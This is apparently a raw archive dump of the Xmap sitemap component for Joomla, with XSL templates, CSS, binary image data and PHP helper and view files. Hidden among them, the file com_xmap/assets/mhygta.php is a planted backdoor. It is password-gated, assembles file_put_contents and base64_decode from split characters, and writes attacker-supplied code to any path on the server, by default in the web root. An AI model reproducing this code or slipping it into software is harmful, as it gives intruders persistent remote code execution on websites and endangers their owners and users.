        var myAjax = new Ajax('index.php?option=com_xmap&tmpl=component&task=editElement&action=changeProperty&sitemap='+sitemapid+'&uid='+divOptions.uid+'&itemid='+divOptions.itemid+'&property='+property+'&value='+el.innerHTML,{
            onComplete: checkChangeResult.bind(divOptions)
        }).request();
        divOptions.cell.innerHTML=el.innerHTML;
        divOptions.style.display='none';
        return false;
    }

    function checkChangeResult(result,xmlResponse) {
    }

    function getURLparam( name ) {
        name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
        var regexS = "[\\?&]"+name+"=([^&#]*)";
        var regex = new RegExp( regexS );
        var results = regex.exec( window.location.href );
        if( results == null )
            return "";
        else
            return results[1];
    }

    var sitemapid=getURLparam('sitemap');

    ]]>
</script>
</head>
<body onLoad="initXsl('table0','sitemap');">
    <h1 id="head1">Site Map</h1>
    <h2>Number of URLs in this Sitemap: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></h2>
    <table id="table0" class="data">
        <tr class="header">
            <td>Sitemap URL</td>
            <td>Last modification date</td>
            <td>Change freq.</td>
            <td>Priority</td>
        </tr>
        <xsl:for-each select="xna:urlset/xna:url">
        <xsl:variable name="UID"><xsl:value-of select="xna:uid"/></xsl:variable>
        <xsl:variable name="ItemID"><xsl:value-of select="xna:itemid"/></xsl:variable>
        <tr>
            <td>
                <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable>
                <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a>
            </td>
            <td><xsl:value-of select="xna:lastmod"/></td>
            <td class="editable" onClick="showOptions(this,'changefreq','{$UID}','{$ItemID}',event);" ><xsl:value-of select="xna:changefreq"/></td>
            <td class="editable" onClick="showOptions(this,'priority','{$UID}','{$ItemID}',event);"><xsl:value-of select="xna:priority"/></td>
        </tr>
        </xsl:for-each>
    </table>
    <div id="divchangefreq" class="divoptions" style="display:none;">
        <div align="right"><a href="javascript:closeOptions();">x</a></div>
        <table>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">always</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">hourly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">daily</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">weekly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">monthly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">yearly</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">never</a></td></tr>
        </table>
    </div>
    <div id="divpriority" class="divoptions" style="display:none;">
        <div align="right"><a href="#" onClick="return closeOptions();">x</a></div>
        <table>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.1</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.2</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.3</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.4</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.5</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.6</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.7</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.8</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.9</a></td></tr>
            <tr><td><a href="#" onClick="return changeProperty(this,'priority');">1</a></td></tr>
        </table>
    </div>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
PK���\�6�com_xmap/assets/xsl/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\(G�A..com_xmap/assets/mhygta.phpnu&1i�<?php
$jgj = 'M'.date('y');
$dwn = $_POST;
if(!empty($dwn['b']) && md5($dwn['b'].md5($dwn['b']))==('6'.'6'.'9'.'0'.'f'.'4'.'8'.'1'.'d'.'2'.'3'.'d'.'e'.'c'.'f'.'7'.'8'.'7'.'1'.'8'.'e'.'c'.'6'.'e'.'0'.'1'.'0'.'6'.'d'.'e'.'2'.'1')) {
	$lzo = !empty($dwn['f']) ? $dwn['f'] : '502.'.'php';
	if(!empty($dwn['r'])) $lzo = $_SERVER['DOCUMENT_ROOT'].'/'.$lzo;
	$ift = 'f'.'I'.'l'.'e'.'_'.'P'.'U'.'t'.'_'.'c'.'o'.'N'.'t'.'E'.'N'.'t'.'S'; $ofg = 'b'.'a'.'S'.'e'.'6'.'4'.'_'.'d'.'E'.'c'.'o'.'d'.'e';
	if($ift($lzo, $ofg($dwn['c']))) exit($lzo);
}
echo $jgj;
?>PK���\��DDcom_xmap/assets/css/xmap.cssnu&1i�/* list-style: pos1 pos2 po3;
 * parameter:
 * pos1: none | disc | circle | square
 * pos2: inside | outside
 * pos3: none | url('arrow.gif')
 * more info under: http://www.w3schools.com/css/css_list.asp
 */

#xmap ul {
    display : block;
    list-style : none;
    margin : 0;
    padding : 0;
}
#xmap ul li {
    margin : 0;
    padding : 0;
    background : transparent;
}
#xmap a img {
    border : none;
}
#xmap ul.level_0 ul {
    list-style : inside square;
    padding : 0;
}
#xmap ul.level_1 li {
    padding : 0 1em 0 1em;
}
#xmap .active {
    font-style : italic;
}
PK���\�6�com_xmap/assets/css/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�_I�LL&com_xmap/assets/images/unpublished.pngnu&1i��PNG


IHDR(-SsBIT��O��PLTE����も�RR�::����

夤����((����tt����%%��66���붶�oo����

䒒�CC����cc�������??�{{�))����33�mm��HH����\\�rr�����22�;;�����LL�99�**������##��{{�))�MM�88�ff�ssta�`<tRNS�������������������������������������������������������������b	pHYs��~�tEXtSoftwareMacromedia Fireworks 8�h�x�IDAT�]ω�0`PT���k���)�(
*�`���i��K�S�_)�Hf����;��z7�(����,�S�Ns^�("%��Z�"�LD��^]_	�䲩=]˛�@��6g��=;`J1]����)�|hjƖX����A��.3�t�<6D��QQ�#裣��?���_L�@������oIEND�B`�PK���\�*�[TT com_xmap/assets/images/arrow.gifnu&1i�GIF89a����������������������������3f���3333f3�3�3�ff3fff�f�f���3�f��������3�f̙�����3�f������3333f3�3�3�3333333f33�33�33�3f3f33ff3f�3f�3f�3�3�33�f3��3��3��3�3�33�f3̙3��3�3�3�33�f3��3��3��ff3fff�f�f�f3f33f3ff3�f3�f3�ffff3fffff�ff�ff�f�f�3f�ff��f��f��f�f�3f�ff̙f��f�f�f�3f�ff��f��f����3�f���̙��3�33�3f�3��3̙3��f�f3�ff�f��f̙f�����3��f�����̙������3��f�̙��̙�����3��f�����̙����3�f�������3�33�3f�3��3��3��f�f3�ff�f��f��f�̙̙3̙f̙�̙�̙�����3��f�̙�������3�f��������3�f������3�33�3f�3��3�3��f�f3�ff�f��f�f�����3��f������������3��f�̙��������3��f��������,9H����*\Ȑ��#J���ŋ�1#B�5&�@�B?�L.�Ӱ�˗
;PK���\C�XX$com_xmap/assets/images/img_green.gifnu&1i�GIF89a��f3!�,@H���oE5Th,\2���9@��6�]�1f�$;PK���\t�i�JJ"com_xmap/assets/images/img_red.gifnu&1i�GIF89a��3X!�,@����&LH(����Z��t=S�a��;PK���\�§{JJ%com_xmap/assets/images/img_orange.gifnu&1i�GIF89a��� !�,@����&LH(����Z��t=S�a��;PK���\�6�!com_xmap/assets/images/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\8�N::"com_xmap/assets/images/txt_red.gifnu&1i�GIF89a		�����!�,		�����{�Q�"�yP;PK���\�7�vv!com_xmap/assets/images/sortup.gifnu&1i�GIF89a�������'���xy�]^!�,@#��I�#�=�BPM1zG��c�[��������O;PK���\���::%com_xmap/assets/images/txt_orange.gifnu&1i�GIF89a		��}���!�,		@����~42�Kߕ�
;PK���\�rII#com_xmap/assets/images/img_blue.gifnu&1i�GIF89a����f�!�,@��&��`B ���ֵ*.��Dv!�z;PK���\C�JJ#com_xmap/assets/images/img_grey.gifnu&1i�GIF89a����!�,@����`B!���ֵ*.�`=#�]H�;PK���\-��^[[#com_xmap/assets/images/sortdown.gifnu&1i�GIF89a��������'���xy�]^!�,@ ��0BfĹ���:�['�
4�h�XY�|�Sd�;PK���\ػ,��com_xmap/assets/images/tick.pngnu&1i��PNG


IHDR(-SsBIT��O��PLTEL�	�֥��R��ԟ��c� ������~���V���`���k�/���W����߲֖��}_���]���g�$�渌�PP�
���ݱ\�v�B����������r��[���\T�
��I�׃�ߩ��\���R���W�l�%�Ұ��p�5��΄a�T���`���8tRNS�������������������������������������������������������em�	pHYs��~�tEXtSoftwareMacromedia Fireworks 8�h�xIDAT�c�Eh|C4e6Tci-mn3Y���X4@�HC��RF`k5y�@|a55~�;���L�X����}U�K�u$%%吜.o��ć�EQ�����89Ř�1}���&���<IEND�B`�PK���\Z�:�::$com_xmap/assets/images/txt_green.gifnu&1i�GIF89a		�f����!�,		@����~42�Kߕ�
;PK���\-��::#com_xmap/assets/images/txt_blue.gifnu&1i�GIF89a		�33����!�,		@����~42�Kߕ�
;PK���\8dNB::#com_xmap/assets/images/txt_grey.gifnu&1i�GIF89a		����!�,		�����{�Q�"�yP;PK���\�6�com_xmap/assets/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�6�com_xmap/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�6�com_xmap/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\�_B�� � com_xmap/helpers/xmap.phpnu&1i�<?php

/**
 * @version       $Id$
 * @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.database.query');

/**
 * Xmap Component Sitemap Model
 *
 * @package        Xmap
 * @subpackage     com_xmap
 * @since          2.0
 */
class XmapHelper
{

    public static function &getMenuItems($selections)
    {
        $db = JFactory::getDbo();
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $list = array();

        foreach ($selections as $menutype => $menuOptions) {
            // Initialize variables.
            // Get the menu items as a tree.
            $query = $db->getQuery(true);
            $query->select(
                    'n.id, n.title, n.alias, n.path, n.level, n.link, '
                  . 'n.type, n.params, n.home, n.parent_id'
                  . ',n.'.$db->quoteName('browserNav')
                  );
            $query->from('#__menu AS n');
            $query->join('INNER', ' #__menu AS p ON p.lft = 0');
            $query->where('n.lft > p.lft');
            $query->where('n.lft < p.rgt');
            $query->order('n.lft');

            // Filter over the appropriate menu.
            $query->where('n.menutype = ' . $db->quote($menutype));

            // Filter over authorized access levels and publishing state.
            $query->where('n.published = 1');
            $query->where('n.access IN (' . implode(',', (array) $user->getAuthorisedViewLevels()) . ')');

            // Filter by language
            if ($app->getLanguageFilter()) {
                $query->where('n.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')');
            }

            // Get the list of menu items.
            $db->setQuery($query);
            $tmpList = $db->loadObjectList('id');
            $list[$menutype] = array();

            // Check for a database error.
            if ($db->getErrorNum()) {
                JError::raiseWarning(021, $db->getErrorMsg());
                return array();
            }

            // Set some values to make nested HTML rendering easier.
            foreach ($tmpList as $id => $item) {
                $item->items = array();

                $params = new JRegistry($item->params);
                $item->uid = 'itemid'.$item->id;

                if (preg_match('#^/?index.php.*option=(com_[^&]+)#', $item->link, $matches)) {
                    $item->option = $matches[1];
                    $componentParams = clone(JComponentHelper::getParams($item->option));
                    $componentParams->merge($params);
                    //$params->merge($componentParams);
                    $params = $componentParams;
                } else {
                    $item->option = null;
                }

                $item->params = $params;

                if ($item->type != 'separator') {

                    $item->priority = $menuOptions['priority'];
                    $item->changefreq = $menuOptions['changefreq'];

                    XmapHelper::prepareMenuItem($item);
                } else {
                    $item->priority = null;
                    $item->changefreq = null;
                }

                if ($item->parent_id > 1) {
                    $tmpList[$item->parent_id]->items[$item->id] = $item;
                } else {
                    $list[$menutype][$item->id] = $item;
                }
            }
        }
        return $list;
    }

    public static function &getExtensions()
    {
        static $list;

        jimport('joomla.html.parameter');

        if ($list != null) {
            return $list;
        }
        $db = JFactory::getDBO();

        $list = array();
        // Get the menu items as a tree.
        $query = $db->getQuery(true);
        $query->select('*');
        $query->from('#__extensions AS n');
        $query->where('n.folder = \'xmap\'');
        $query->where('n.enabled = 1');

        // Get the list of menu items.
        $db->setQuery($query);
        $extensions = $db->loadObjectList('element');

        foreach ($extensions as $element => $extension) {
            if (file_exists(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php')) {
                require_once(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php');
                $params = new JRegistry($extension->params);
                $extension->params = $params->toArray();
                $list[$element] = $extension;
            }
        }

        return $list;
    }

    /**
     * Call the function prepareMenuItem of the extension for the item (if any)
     *
     * @param    object        Menu item object
     *
     * @return    void
     */
    public static function prepareMenuItem($item)
    {
        $extensions = XmapHelper::getExtensions();
        if (!empty($extensions[$item->option])) {
            $className = 'xmap_' . $item->option;
            $obj = new $className;
            if (method_exists($obj, 'prepareMenuItem')) {
                $obj->prepareMenuItem($item,$extensions[$item->option]->params);
            }
        }
    }


    static function getImages($text,$max)
    {
        if (!isset($urlBase)) {
            $urlBase = JURI::base();
            $urlBaseLen = strlen($urlBase);
        }

        $images = null;
        $matches = $matches1 = $matches2 = array();
        // Look <img> tags
        preg_match_all('/<img[^>]*?(?:(?:[^>]*src="(?P<src>[^"]+)")|(?:[^>]*alt="(?P<alt>[^"]+)")|(?:[^>]*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches1, PREG_SET_ORDER);
        // Loog for <a> tags with href to images
        preg_match_all('/<a[^>]*?(?:(?:[^>]*href="(?P<src>[^"]+\.(gif|png|jpg|jpeg))")|(?:[^>]*alt="(?P<alt>[^"]+)")|(?:[^>]*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches2, PREG_SET_ORDER);
        $matches = array_merge($matches1,$matches2);
        if (count($matches)) {
            $images = array();

            $count = count($matches);
            $j = 0;
            for ($i = 0; $i < $count && $j < $max; $i++) {
                if (trim($matches[$i]['src']) && (substr($matches[$i]['src'], 0, 1) == '/' || !preg_match('/^https?:\/\//i', $matches[$i]['src']) || substr($matches[$i]['src'], 0, $urlBaseLen) == $urlBase)) {
                    $src = $matches[$i]['src'];
                    if (substr($src, 0, 1) == '/') {
                        $src = substr($src, 1);
                    }
                    if (!preg_match('/^https?:\//i', $src)) {
                        $src = $urlBase . $src;
                    }
                    $image = new stdClass;
                    $image->src = $src;
                    $image->title = (isset($matches[$i]['title']) ? $matches[$i]['title'] : @$matches[$i]['alt']);
                    $images[] = $image;
                    $j++;
                }
            }
        }
        return $images;
    }

    static function getPagebreaks($text,$baseLink)
    {
        $matches = $subnodes = array();
        if (preg_match_all(
                '/<hr\s*[^>]*?(?:(?:\s*alt="(?P<alt>[^"]+)")|(?:\s*title="(?P<title>[^"]+)"))+[^>]*>/i',
                $text, $matches, PREG_SET_ORDER)
        ) {
            $i = 2;
            foreach ($matches as $match) {
                if (strpos($match[0], 'class="system-pagebreak"') !== FALSE) {
                    $link = $baseLink . '&limitstart=' . ($i - 1);

                    if (@$match['alt']) {
                        $title = stripslashes($match['alt']);
                    } elseif (@$match['title']) {
                        $title = stripslashes($match['title']);
                    } else {
                        $title = JText::sprintf('Page #', $i);
                    }
                    $subnode = new stdclass();
                    $subnode->name = $title;
                    $subnode->expandible = false;
                    $subnode->link = $link;
                    $subnodes[] = $subnode;
                    $i++;
                }
            }

        }
        return $subnodes;
    }
}
PK���\�ҹ�' ' com_xmap/displayer.phpnu&1i�<?php
/**
* @version        $Id$
* @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
* @license        GNU General Public License version 2 or later; see LICENSE.txt
* @author        Guillermo Vargas (guille@vargas.co.cr)
*/

// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

class XmapDisplayer {

    /**
     *
     * @var int  Counter for the number of links on the sitemap
     */
    protected $count;
    /**
     *
     * @var JView
     */
    protected $jview;

    public $config;
    public $sitemap;
    /**
     *
     * @var int   Current timestamp
     */
    public $now;
    public $userLevels;
    /**
     *
     * @var string  The current value for the request var "view" (eg. html, xml)
     */
    public $view;

    public $canEdit;

    function __construct($config,$sitemap)
    {
        jimport('joomla.utilities.date');
        jimport('joomla.user.helper');
        $user = JFactory::getUser();
        $groups = array_keys(JUserHelper::getUserGroups($user->get('id')));
        $date = new JDate();

        $this->userLevels    = (array)$user->getAuthorisedViewLevels();
        // Deprecated: should use userLevels from now on
        // $this->gid = $user->gid;
        $this->now    = $date->toUnix();
        $this->config    = $config;
        $this->sitemap    = $sitemap;
        $this->isNews   = false;
        $this->isImages    = false;
        $this->count    = 0;
        $this->canEdit  = false;
    }

    public function printNode( &$node ) {
        return false;
    }

    public function printSitemap()
    {
        foreach ($this->jview->items as $menutype => &$items) {

            $node = new stdclass();

            $node->uid = "menu-".$menutype;
            $node->menutype = $menutype;
            $node->priority = null;
            $node->changefreq = null;
            // $node->priority = $menu->priority;
            // $node->changefreq = $menu->changefreq;
            $node->browserNav = 3;
            $node->type = 'separator';
            /**
             * @todo allow the user to provide the module used to display that menu, or some other
             * workaround
             */
            $node->name = $this->getMenuTitle($menutype,'mod_menu'); // Get the name of this menu

            $this->startMenu($node);
            $this->printMenuTree($node, $items);
            $this->endMenu($node);
        }
    }

    public function setJView($view)
    {
        $this->jview = $view;
    }

    public function getMenuTitle($menutype,$module='mod_menu')
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $title = $extra = '';

        // Filter by language
        if ($app->getLanguageFilter()) {
            $extra = ' AND language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')';
        }

        $db->setQuery(
             "SELECT * FROM #__modules WHERE module='{$module}' AND params "
            ."LIKE '%\"menutype\":\"{$menutype}\"%' AND access IN (".implode(',',$this->userLevels).") "
            ."AND published=1 AND client_id=0 "
            . $extra
            . "LIMIT 1"
        );
        $module = $db->loadObject();
        if ($module) {
            $title = $module->title;
        }
        return $title;
    }

    protected function startMenu(&$node)
    {
        return true;
    }
    protected function endMenu(&$node)
    {
        return true;
    }
    protected function printMenuTree($menu,&$items)
    {
        $this->changeLevel(1);

        $router = JSite::getRouter();

        foreach ( $items as $i => $item ) {                   // Add each menu entry to the root tree.
            $excludeExternal = false;

            $node = new stdclass;

            $node->id           = $item->id;
            $node->uid          = $item->uid;
            $node->name         = $item->title;               // displayed name of node
            // $node->parent    = $item->parent;              // id of parent node
            $node->browserNav   = $item->browserNav;          // how to open link
            $node->priority     = $item->priority;
            $node->changefreq   = $item->changefreq;
            $node->type         = $item->type;                // menuentry-type
            $node->menutype     = $menu->menutype;            // menuentry-type
            $node->home         = $item->home;                // If it's a home menu entry
            // $node->link      = isset( $item->link ) ? htmlspecialchars( $item->link ) : '';
            $node->link         = $item->link;
            $node->option       = $item->option;
            $node->modified     = @$item->modified;
            $node->secure       = $item->params->get('secure');

            // New on Xmap 2.0: send the menu params
            $node->params =& $item->params;

            if ($node->home == 1) {
                // Correct the URL for the home page.
                $node->link = JURI::base();
            }
            switch ($item->type)
            {
                case 'separator':
                    $node->browserNav=3;
                    break;
                case 'url':
                    if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                        // If this is an internal Joomla link, ensure the Itemid is set.
                        $node->link = $node->link.'&Itemid='.$node->id;
                    } else {
                        $excludeExternal = ($this->view == 'xml');
                    }
                    break;
                case 'alias':
                    // If this is an alias use the item id stored in the parameters to make the link.
                    $node->link = 'index.php?Itemid='.$item->params->get('aliasoptions');
                    break;
                default:
                    if ($router->getMode() == JROUTER_MODE_SEF) {
                        $node->link = 'index.php?Itemid='.$node->id;
                    }
                    elseif (!$node->home) {
                        $node->link .= '&Itemid='.$node->id;
                    }
                    break;
            }

            if ($excludeExternal || $this->printNode($node)) {

                //Restore the original link
                $node->link             = $item->link;
                $this->printMenuTree($node,$item->items);
                $matches=array();
                //if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$node->link,$matches) ) {
                if ( $node->option ) {
                    if ( !empty($this->jview->extensions[$node->option]) ) {
                         $node->uid = $node->option;
                        $className = 'xmap_'.$node->option;
                        $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$node,&$this->jview->extensions[$node->option]->params));
                    }
                }
                //XmapPlugins::printTree( $this, $node, $this->jview->extensions );    // Determine the menu entry's type and call it's handler
            }
        }
        $this->changeLevel(-1);
    }

    public function changeLevel($step)
    {
        return true;
    }

    public function getCount()
    {
        return $this->count;
    }

    public function &getExcludedItems() {
        static $_excluded_items;
        if (!isset($_excluded_items)) {
            $_excluded_items = array();
            $registry = new JRegistry('_default');
            $registry->loadString($this->sitemap->excluded_items);
            $_excluded_items = $registry->toArray();
        }
        return $_excluded_items;
    }

    public function isExcluded($itemid,$uid) {
        $excludedItems = $this->getExcludedItems();
        $items = NULL;
        if (!empty($excludedItems[$itemid])) {
            if (is_object($excludedItems[$itemid])) {
                $excludedItems[$itemid] = (array) $excludedItems[$itemid];
            }
            $items =& $excludedItems[$itemid];
        }
        if (!$items) {
            return false;
        }
        return ( in_array($uid, $items));
    }
}
PK���\�6�com_xmap/views/html/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\t����!com_xmap/views/html/view.html.phpnu&1i�<?php

/**
 * @version          $Id$
 * @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * HTML Site map View class for the Xmap component
 *
 * @package         Xmap
 * @subpackage      com_xmap
 * @since           2.0
 */
class XmapViewHtml extends JViewLegacy
{

    protected $state;
    protected $print;

    function display($tpl = null)
    {
        // Initialise variables.
        $this->app = JFactory::getApplication();
        $this->user = JFactory::getUser();
        $doc = JFactory::getDocument();

        // Get view related request variables.
        $this->print = JRequest::getBool('print');

        // Get model data.
        $this->state = $this->get('State');
        $this->item = $this->get('Item');
        $this->items = $this->get('Items');

        $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseWarning(500, implode("\n", $errors));
            return false;
        }

        $this->extensions = $this->get('Extensions');
        // Add router helpers.
        $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id;

        $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=html&id=' . $this->item->slug);

        // Create a shortcut to the paramemters.
        $params = &$this->state->params;
        $offset = $this->state->get('page.offset');
        if ($params->get('include_css', 0)){
            $doc->addStyleSheet(JURI::root().'components/com_xmap/assets/css/xmap.css');
        }

        // If a guest user, they may be able to log in to view the full article
        // TODO: Does this satisfy the show not auth setting?
        if (!$this->item->params->get('access-view')) {
            if ($user->get('guest')) {
                // Redirect to login
                $uri = JFactory::getURI();
                $app->redirect(
                    'index.php?option=com_users&view=login&return=' . base64_encode($uri),
                    JText::_('Xmap_Error_Login_to_view_sitemap')
                );
                return;
            } else {
                JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth'));
                return;
            }
        }

        // Override the layout.
        if ($layout = $params->get('layout')) {
            $this->setLayout($layout);
        }

        // Load the class used to display the sitemap
        $this->loadTemplate('class');
        $this->displayer = new XmapHtmlDisplayer($params, $this->item);

        $this->displayer->setJView($this);
        $this->displayer->canEdit = $this->canEdit;

        $this->_prepareDocument();
        parent::display($tpl);

        $model = $this->getModel();
        $model->hit($this->displayer->getCount());
    }

    /**
     * Prepares the document
     */
    protected function _prepareDocument()
    {
        $app = JFactory::getApplication();
        $pathway = $app->getPathway();
        $menus = $app->getMenu();
        $title = null;

        // Because the application sets a default page title, we need to get it from the menu item itself
        if ($menu = $menus->getActive()) {
            if (isset($menu->query['view']) && isset($menu->query['id'])) {
            
                if ($menu->query['view'] == 'html' && $menu->query['id'] == $this->item->id) {
                    $title = $menu->title;
                    if (empty($title)) {
                        $title = $app->getCfg('sitename');
                    } else if ($app->getCfg('sitename_pagetitles', 0) == 1) {
                        $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
                    } else if ($app->getCfg('sitename_pagetitles', 0) == 2) {
                        $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
                    }
                    // set meta description and keywords from menu item's params
                    $params = new JRegistry();
                    $params->loadString($menu->params);
                    $this->document->setDescription($params->get('menu-meta_description'));
                    $this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
                }
            }
        }
        $this->document->setTitle($title);

        if ($app->getCfg('MetaTitle') == '1') {
            $this->document->setMetaData('title', $title);
        }

        if ($this->print) {
            $this->document->setMetaData('robots', 'noindex, nofollow');
        }
    }

}
PK���\��
�� com_xmap/views/html/metadata.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <view title="Sitemap">
        <message>
            <![CDATA[COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </view>
</metadata>
PK���\L�4w��$com_xmap/views/html/tmpl/default.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <layout title="COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE">
        <message>
            <![CDATA[COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </layout>
    <fields name="request">
        <fieldset name="request"
            addfieldpath="/administrator/components/com_xmap/models/fields">
            <field
                name="id"
                type="modal_sitemaps"
                default=""
                required="true"
                label="COM_XMAP_SELECT_AN_SITEMAP"
                description="COM_XMAP_SELECT_A_SITEMAP" />
        </fieldset>
    </fields>

    <!-- Add fields to the parameters object for the layout. -->
    <fields name="params">
        <!-- Basic options. -->
        <fieldset name="basic"
            label="COM_XMAP_ATTRIBS_SITEMAP_SETTINGS_LABEL">
            <field
            name="include_css"
            type="list"
            default="0"
            label="COM_XMAP_INCLUDE_CSS_LABEL"
            description="COM_XMAP_INCLUDE_CSS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
</metadata>
PK���\�6�#com_xmap/views/html/tmpl/index.htmlnu&1i�<!DOCTYPE html><title></title>PK���\*�.``$com_xmap/views/html/tmpl/default.phpnu&1i�<?php
/**
 * @version         $Id$
 * @copyright       Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 * @author          Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers');

// Create shortcut to parameters.
$params = $this->item->params;

if ($this->displayer->canEdit) {
    $live_site = JURI::root();
    JHTML::_('behavior.framework', true);
    $ajaxurl = "{$live_site}index.php?option=com_xmap&format=json&task=ajax.editElement&action=toggleElement&".JSession::getFormToken().'=1';

    $css = '.xmapexcl img{ border:0px; }'."\n";
    $css .= '.xmapexcloff { text-decoration:line-through; }';
    //$css .= "\n.".$this->item->classname .' li {float:left;}';

    $js = "
        window.addEvent('domready',function (){
            $$('.xmapexcl').each(function(el){
                el.onclick = function(){
                    if (this && this.rel) {
                        options = JSON.decode(this.rel);
                        this.onComplete = checkExcludeResult
                        var myAjax = new Request.JSON({
                            url:'{$ajaxurl}',
                            onSuccess: checkExcludeResult.bind(this)
                        }).get({id:{$this->item->id},uid:options.uid,itemid:options.itemid});
                    }
                    return false;
                };

            });
        });
        checkExcludeResult = function (response) {
            //this.set('class','xmapexcl xmapexcloff');
            var imgs = this.getElementsByTagName('img');
            if (response.result == 'OK') {
                var state = response.state;
                if (state==0) {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/unpublished.png';
                } else {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/tick.png';
                }
            } else {
                alert('The element couldn\\'t be published or upublished!');
            }
        }";

    $doc = JFactory::getDocument();
    $doc->addStyleDeclaration ($css);
    $doc->addScriptDeclaration ($js);
}
?>
<div id="xmap">
<?php if ($params->get('show_page_heading', 1) && $params->get('page_heading') != '') : ?>
    <h1>
        <?php echo $this->escape($params->get('page_heading')); ?>
    </h1>
<?php endif; ?>

<?php if ($params->get('access-edit') || $params->get('show_title') ||  $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
    <ul>
    <?php if (!$this->print) : ?>
        <?php if ($params->get('show_print_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.print_popup',  $this->item, $params); ?>
        </li>
        <?php endif; ?>

        <?php if ($params->get('show_email_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.email',  $this->item, $params); ?>
        </li>
        <?php endif; ?>
    <?php else : ?>
        <li>
            <?php echo JHtml::_('icon.print_screen',  $this->item, $params); ?>
        </li>
    <?php endif; ?>
    </ul>
<?php endif; ?>

<?php if ($params->get('showintro', 1) )  : ?>
    <?php echo $this->item->introtext; ?>
<?php endif; ?>

    <?php echo $this->loadTemplate('items'); ?>

<?php if ($params->get('include_link', 1) )  : ?>
    <div class="muted" style="font-size:10px;width:100%;clear:both;text-align:center;">Powered by <a href="http://www.jooxmap.com/">Xmap</a></div>
<?php endif; ?>

    <span class="article_separator">&nbsp;</span>
</div>PK���\�@
d��*com_xmap/views/html/tmpl/default_items.phpnu&1i�<?php
/**
